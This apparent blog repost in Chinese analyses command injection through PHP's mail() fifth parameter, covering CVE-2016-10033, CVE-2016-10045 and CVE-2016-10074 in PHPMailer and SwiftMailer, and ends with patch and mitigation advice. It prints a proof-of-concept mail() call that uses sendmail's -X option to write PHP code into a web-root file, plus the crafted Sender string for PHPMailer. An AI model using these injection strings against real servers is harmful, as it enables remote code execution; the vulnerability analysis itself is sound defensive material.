php 函数漏洞,多个PHP mail函数引发的命令执行漏洞分析

阅读:

3,171

近期,国外安全研究人

主要有:CVE-2016-10033

CVE-2016-10045

CVE-2016-10074

漏洞成因

这些漏洞的成因和之前曝光的

php的mail函数声明如下:

5b7ab7d4915b3c41.png

其参数含义分别表示如下:to,指定邮件接收者,即接收人

subject,邮件的标题

message,邮件的正文内容

additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC

additional_parameters,指定传递给发送程序sendmail的额外参数。

在Linux系统上,mail函数在底层实现中,默认调用Linux的-X选项,用于记录所有的邮件进出流量至log文件中。> -X logfile

> Log all traffic in and out of mailers in the indicated log

> file. This should only be used as a last resort for debugging

> mailer bugs. It will log a lot of data very quickly.

通过-X指定log文件记录邮件流量,实际可以达到写文件的效果。

例如,如下php代码$to = 'Alice@example.com';

$subject = 'Hello Alice!';

$message=‘<?php phhpinfo(); ?>’;

$headers = "CC: somebodyelse@example.com";

$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';

mail($to, $subject, $message, $headers, $options);

?>

执行后,查看log文件/var/www/html/rce.php17220 <<< To: Alice@example.com

17220 <<< Subject: Hello Alice!

17220 <<< X-PHP-Originating-Script: 0:test.php

17220 <<< CC: somebodyelse@example.com

17220 <<<

17220 <<< <?php phpinfo(); ?>

17220 <<< [EOF]

发现被写入了包含在邮件标题或正文中的php代码,通过访问此log文件可以执行预先可控的php代码。

aeb0bbbd58e70d47.png

因此,对php mail函数使用时,应该特别注意第5个参数additional_parameters的使用,防止被攻击者可控,注入-X参数,执行命令。

CVE-2016-10033/CVE-2016-10045

在近期@dawid_golunski曝光phpmailer和SwiftMailer这些第三方php邮件库漏洞中,同样是由于对mail函数的第5个参数additional_parameters没有过滤,或过滤不当可被绕过,导致漏洞。

在phpmailer的漏洞CVE-2016-10033中,使用mailSend发送方式时,通过设置`this->Sender`为`'"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';`,

经过sprintf字符拼接后,可以注入额外的的-X参数

b36e673d9aa57832.png

mailSend函数又调用mailPassthru。

23fb9ba3c08c2d28.png

最终传递给mail函数。

09b044429af9ef14.png

phpmailer的作者随后通过增加escapeshellarg($this->Sender)进行过滤,但又可被新的方式绕过(CVE-2016-10045)。最终通过增加一个isShellSafe函数检验参数安全性,才彻底堵住了漏洞。

7a893e8f78dfd0ea.png

CVE-2016-10074

SwiftMailer的情况的也类似,在拼接参数时缺乏对参数的过滤,导致恶意参数-X注入mail函数。

e6c16609a663dad1.png

修补防御

上述漏洞的产生都是没有正确过滤mail函数的参数,导致sendmail被调用时可被恶意利用。

目前phpmailer和SwiftMailer均已发布补丁修复了上述漏洞,升级到最新版本即可。

当然,如果用户在使用phpmailer和SwiftMailer时,不是通过mail函数的方式发送的邮件,而是通过直接和SMTP服务器协议交互的方式发送邮件,因底层未调用sendmail,则不受上述漏洞的影响。

如果您需要了解更多内容,可以

加入QQ群:570982169、486207500

直接询问:010-68438880-8669

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值